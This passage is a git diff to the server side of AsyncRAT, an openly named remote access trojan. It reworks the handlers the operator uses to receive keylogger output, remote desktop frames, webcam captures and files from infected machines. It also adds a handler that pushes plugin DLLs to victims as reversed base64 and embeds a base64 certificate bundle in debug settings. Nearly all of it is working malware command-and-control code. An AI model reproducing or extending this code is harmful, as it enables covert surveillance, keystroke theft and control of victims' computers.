- FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + client.ID];
+ FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + unpack_msgpack.ForcePathObject("ID").AsString];
if (FM != null)
{
FM.toolStripStatusLabel1.Text = unpack_msgpack.ForcePathObject("CurrentPath").AsString;
@@ -105,7 +107,7 @@ namespace Server.Handle_Packet
case "error":
{
- FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + client.ID];
+ FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + unpack_msgpack.ForcePathObject("ID").AsString];
if (FM != null)
{
FM.listView1.Enabled = true;
@@ -150,15 +152,17 @@ namespace Server.Handle_Packet
FormDownloadFile SD = (FormDownloadFile)Application.OpenForms["socketDownload:" + dwid];
if (SD != null)
{
- if (!Directory.Exists(Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", ""))))
- return;
- string filename = Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", "") + "\\" + unpack_msgpack.ForcePathObject("Name").AsString);
+ string filename = Path.Combine(SD.FullPath, unpack_msgpack.ForcePathObject("Name").AsString);
+ string filemanagerPath = SD.FullPath;
+
+ if (!Directory.Exists(filemanagerPath))
+ Directory.CreateDirectory(filemanagerPath);
if (File.Exists(filename))
{
File.Delete(filename);
await Task.Delay(500);
}
- await Task.Run(() => SaveFileAsync(unpack_msgpack.ForcePathObject("File"), Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", "") + "\\" + unpack_msgpack.ForcePathObject("Name").AsString)));
+ await Task.Run(() => SaveFileAsync(unpack_msgpack.ForcePathObject("File"), filename));
SD.Close();
}
}
diff --git a/AsyncRAT-C#/Server/Handle Packet/HandleKeylogger.cs b/AsyncRAT-C#/Server/Handle Packet/HandleKeylogger.cs
index c34cf36..2e30f71 100644
--- a/AsyncRAT-C#/Server/Handle Packet/HandleKeylogger.cs
+++ b/AsyncRAT-C#/Server/Handle Packet/HandleKeylogger.cs
@@ -13,9 +13,11 @@ namespace Server.Handle_Packet
{
public HandleKeylogger(Clients client, MsgPack unpack_msgpack)
{
- try
+ switch (unpack_msgpack.ForcePathObject("Command").AsString)
{
- FormKeylogger KL = (FormKeylogger)Application.OpenForms["keyLogger:" + client.ID];
+ case "logs":
+ {
+ FormKeylogger KL = (FormKeylogger)Application.OpenForms["keyLogger:" + unpack_msgpack.ForcePathObject("ID").GetAsString()];
if (KL != null)
{
KL.Sb.Append(unpack_msgpack.ForcePathObject("Log").GetAsString());
@@ -25,14 +27,26 @@ namespace Server.Handle_Packet
}
else
{
- MsgPack msgpack = new MsgPack();
- msgpack.ForcePathObject("Packet").AsString = "keyLogger";
- msgpack.ForcePathObject("isON").AsString = "false";
- client.Send(msgpack.Encode2Bytes());
- }
+ client.Disconnected();
+ }
+ break;
+ }
+ case "started":
+ {
+ FormKeylogger KL = (FormKeylogger)Application.OpenForms["keyLogger:" + unpack_msgpack.ForcePathObject("ID").GetAsString()];
+ if (KL != null)
+ {
+ KL.Client = client;
+ KL.timer1.Start();
+ }
+ else
+ {
+ client.Disconnected();
+ }
+ break;
+ }
}
- catch { }
}
}
}
diff --git a/AsyncRAT-C#/Server/Handle Packet/HandlePlugin.cs b/AsyncRAT-C#/Server/Handle Packet/HandlePlugin.cs
new file mode 100644
index 0000000..b3e398b
--- /dev/null
+++ b/AsyncRAT-C#/Server/Handle Packet/HandlePlugin.cs
@@ -0,0 +1,37 @@
+using Server.Connection;
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+using System.Threading.Tasks;
+using System.IO;
+using System.Windows.Forms;
+using Server.Helper;
+using Server.MessagePack;
+using Microsoft.VisualBasic;
+
+namespace Server.Handle_Packet
+{
+ public class HandlePlugin
+ {
+ public HandlePlugin(Clients client, string hash)
+ {
+ if (hash.Length == 32 && !hash.Contains("\\"))
+ {
+ foreach (string _hash in Directory.GetFiles(Path.Combine(Application.StartupPath, "Plugin")))
+ {
+ if (hash == Methods.GetHash(_hash))
+ {
+ Console.WriteLine("Found: " + hash);
+ MsgPack msgPack = new MsgPack();
+ msgPack.ForcePathObject("Packet").AsString = "plugin";
+ msgPack.ForcePathObject("Command").AsString = "install";
+ msgPack.ForcePathObject("Hash").AsString = hash;
+ msgPack.ForcePathObject("Dll").AsString = Strings.StrReverse(Convert.ToBase64String(File.ReadAllBytes(_hash)));
+ client.Send(msgPack.Encode2Bytes());
+ }
+ }
+ }
+ }
+ }
+}
diff --git a/AsyncRAT-C#/Server/Handle Packet/HandleRemoteDesktop.cs b/AsyncRAT-C#/Server/Handle Packet/HandleRemoteDesktop.cs
index c5fbfbf..28bb6b4 100644
--- a/AsyncRAT-C#/Server/Handle Packet/HandleRemoteDesktop.cs
+++ b/AsyncRAT-C#/Server/Handle Packet/HandleRemoteDesktop.cs
@@ -12,6 +12,44 @@ namespace Server.Handle_Packet
{
public class HandleRemoteDesktop
{
+ public HandleRemoteDesktop(Clients client, MsgPack unpack_msgpack)
+ {
+ switch (unpack_msgpack.ForcePathObject("Command").AsString)
+ {
+ case "screens":
+ {
+ Debug.WriteLine("I got the screen size");
+ ScreenSize(client, unpack_msgpack);
+ break;
+ }
+
+ case "capture":
+ {
+ Capture(client, unpack_msgpack);
+ break;
+ }
+ }
+ }
+
+ public void ScreenSize(Clients client, MsgPack unpack_msgpack)
+ {
+ FormRemoteDesktop RD = (FormRemoteDesktop)Application.OpenForms["RemoteDesktop:" + unpack_msgpack.ForcePathObject("ID").AsString];
+ try
+ {
+ if (RD.Client == null)
+ {
+ RD.Client = client;
+ int Screens = Convert.ToInt32(unpack_msgpack.ForcePathObject("Screens").GetAsInteger());
+ RD.numericUpDown2.Maximum = Screens - 1;
+ RD.labelWait.Visible = false;
+ RD.timer1.Start();
+ RD.button1.Enabled = true;
+ RD.button1.Tag = (object)"play";
+ RD.button1.PerformClick();
+ }
+ }
+ catch { }
+ }
public void Capture(Clients client, MsgPack unpack_msgpack)
{
try
@@ -21,21 +59,9 @@ namespace Server.Handle_Packet
{
if (RD != null)
{
- if (RD.Client == null)
- {
- RD.Client = client;
- RD.timer1.Start();
- byte[] RdpStream0 = unpack_msgpack.ForcePathObject("Stream").GetAsBytes();
- Bitmap decoded0 = RD.decoder.DecodeData(new MemoryStream(RdpStream0));
- RD.rdSize = decoded0.Size;
- RD.labelWait.Visible = false;
- }
byte[] RdpStream = unpack_msgpack.ForcePathObject("Stream").GetAsBytes();
Bitmap decoded = RD.decoder.DecodeData(new MemoryStream(RdpStream));
- int Screens = Convert.ToInt32(unpack_msgpack.ForcePathObject("Screens").GetAsInteger());
- RD.numericUpDown2.Maximum = Screens - 1;
-
if (RD.RenderSW.ElapsedMilliseconds >= (1000 / 20))
{
RD.pictureBox1.Image = decoded;
diff --git a/AsyncRAT-C#/Server/Handle Packet/HandleWebcam.cs b/AsyncRAT-C#/Server/Handle Packet/HandleWebcam.cs
index 961d86a..c89c4c5 100644
--- a/AsyncRAT-C#/Server/Handle Packet/HandleWebcam.cs
+++ b/AsyncRAT-C#/Server/Handle Packet/HandleWebcam.cs
@@ -49,6 +49,7 @@ namespace Server.Handle_Packet
{
client.Disconnected();
}
+ webcam.button1.PerformClick();
}
else
{
diff --git a/AsyncRAT-C#/Server/Handle Packet/Packet.cs b/AsyncRAT-C#/Server/Handle Packet/Packet.cs
index 2b86af3..d042e31 100644
--- a/AsyncRAT-C#/Server/Handle Packet/Packet.cs
+++ b/AsyncRAT-C#/Server/Handle Packet/Packet.cs
@@ -86,7 +86,7 @@ namespace Server.Handle_Packet
}
case "remoteDesktop":
{
- new HandleRemoteDesktop().Capture(client, unpack_msgpack);
+ new HandleRemoteDesktop(client, unpack_msgpack);
break;
}
@@ -138,6 +138,12 @@ namespace Server.Handle_Packet
new HandleWebcam(unpack_msgpack, client);
break;
}
+
+ case "plugin":
+ {
+ new HandlePlugin(client, unpack_msgpack.ForcePathObject("Hash").AsString);
+ break;
+ }
}
}
diff --git a/AsyncRAT-C#/Server/Helper/CreateCertificate.cs b/AsyncRAT-C#/Server/Helper/CreateCertificate.cs
index 0d6d09e..61776fd 100644
--- a/AsyncRAT-C#/Server/Helper/CreateCertificate.cs
+++ b/AsyncRAT-C#/Server/Helper/CreateCertificate.cs
@@ -49,5 +49,12 @@ namespace Server.Helper
return certificate2;
}
+
+ public static string Export()
+ {
+ var caCertificate = new X509Certificate2(Settings.CertificatePath, "", X509KeyStorageFlags.Exportable);
+ var serverCertificate = new X509Certificate2(caCertificate.Export(X509ContentType.Cert));
+ return Convert.ToBase64String(serverCertificate.Export(X509ContentType.Cert));
+ }
}
}
diff --git a/AsyncRAT-C#/Server/Helper/Methods.cs b/AsyncRAT-C#/Server/Helper/Methods.cs
index 9840d6b..94e45ac 100644
--- a/AsyncRAT-C#/Server/Helper/Methods.cs
+++ b/AsyncRAT-C#/Server/Helper/Methods.cs
@@ -1,5 +1,6 @@
using System;
using System.IO;
+using System.Security.Cryptography;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
@@ -38,5 +39,16 @@ namespace Server.Helper
return randomName.ToString();
}
+
+ public static string GetHash(string strToHash)
+ {
+ MD5CryptoServiceProvider md5Obj = new MD5CryptoServiceProvider();
+ byte[] bytesToHash = Encoding.ASCII.GetBytes(strToHash);
+ bytesToHash = md5Obj.ComputeHash(bytesToHash);
+ StringBuilder strResult = new StringBuilder();
+ foreach (byte b in bytesToHash)
+ strResult.Append(b.ToString("x2"));
+ return strResult.ToString();
+ }
}
}
diff --git a/AsyncRAT-C#/Server/Properties/Resources.Designer.cs b/AsyncRAT-C#/Server/Properties/Resources.Designer.cs
index 77dd54c..99c1497 100644
--- a/AsyncRAT-C#/Server/Properties/Resources.Designer.cs
+++ b/AsyncRAT-C#/Server/Properties/Resources.Designer.cs
@@ -290,26 +290,6 @@ namespace Server.Properties {
}
}
- ///
- /// Looks up a localized resource of type System.Byte[].
- ///
- internal static byte[] PluginCam {
- get {
- object obj = ResourceManager.GetObject("PluginCam", resourceCulture);
- return ((byte[])(obj));
- }
- }
-
- ///
- /// Looks up a localized resource of type System.Byte[].
- ///
- internal static byte[] PluginDesktop {
- get {
- object obj = ResourceManager.GetObject("PluginDesktop", resourceCulture);
- return ((byte[])(obj));
- }
- }
-
///
/// Looks up a localized resource of type System.Byte[].
///
diff --git a/AsyncRAT-C#/Server/Properties/Resources.resx b/AsyncRAT-C#/Server/Properties/Resources.resx
index efbdd7a..1815859 100644
--- a/AsyncRAT-C#/Server/Properties/Resources.resx
+++ b/AsyncRAT-C#/Server/Properties/Resources.resx
@@ -166,9 +166,6 @@
..\Resources\mouse.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
-
- ..\Resources\PluginCam.dll;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
-
..\Resources\tomem1.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
@@ -238,9 +235,6 @@
..\Resources\webcam.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
-
- ..\Resources\PluginDesktop.dll;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
-
..\Resources\PluginRecovery.dll;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
diff --git a/AsyncRAT-C#/Server/Resources/PluginCam.dll b/AsyncRAT-C#/Server/Resources/PluginCam.dll
deleted file mode 100644
index e63a310..0000000
Binary files a/AsyncRAT-C#/Server/Resources/PluginCam.dll and /dev/null differ
diff --git a/AsyncRAT-C#/Server/Resources/PluginDesktop.dll b/AsyncRAT-C#/Server/Resources/PluginDesktop.dll
deleted file mode 100644
index 3273467..0000000
Binary files a/AsyncRAT-C#/Server/Resources/PluginDesktop.dll and /dev/null differ
diff --git a/AsyncRAT-C#/Server/Server.csproj b/AsyncRAT-C#/Server/Server.csproj
index 80b58bb..dcb6529 100644
--- a/AsyncRAT-C#/Server/Server.csproj
+++ b/AsyncRAT-C#/Server/Server.csproj
@@ -180,11 +180,12 @@
FormWebcam.cs
-
+
+
@@ -317,12 +318,15 @@
-
-
-
+
-
+
+
+
+
+
+
diff --git a/AsyncRAT-C#/Server/Settings.cs b/AsyncRAT-C#/Server/Settings.cs
index f10b06e..5818325 100644
--- a/AsyncRAT-C#/Server/Settings.cs
+++ b/AsyncRAT-C#/Server/Settings.cs
@@ -14,9 +14,13 @@ namespace Server
public static long Sent { get; set; }
public static long Received { get; set; }
- public static string CertificatePath = Application.StartupPath + "\\ServerCertificate.p12";
+#if DEBUG
+ public static string CertificatePath = "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";
+#else
+ public static string CertificatePath = Application.StartupPath + "\\ServerCertificate.p12";
+#endif
public static X509Certificate2 ServerCertificate;
- public static readonly string Version = "AsyncRAT 0.5.2";
+ public static readonly string Version = "AsyncRAT 0.5.3";
public static object Listview1Lock = new object();
public static object Listview2Lock = new object();
public static object Listview3Lock = new object();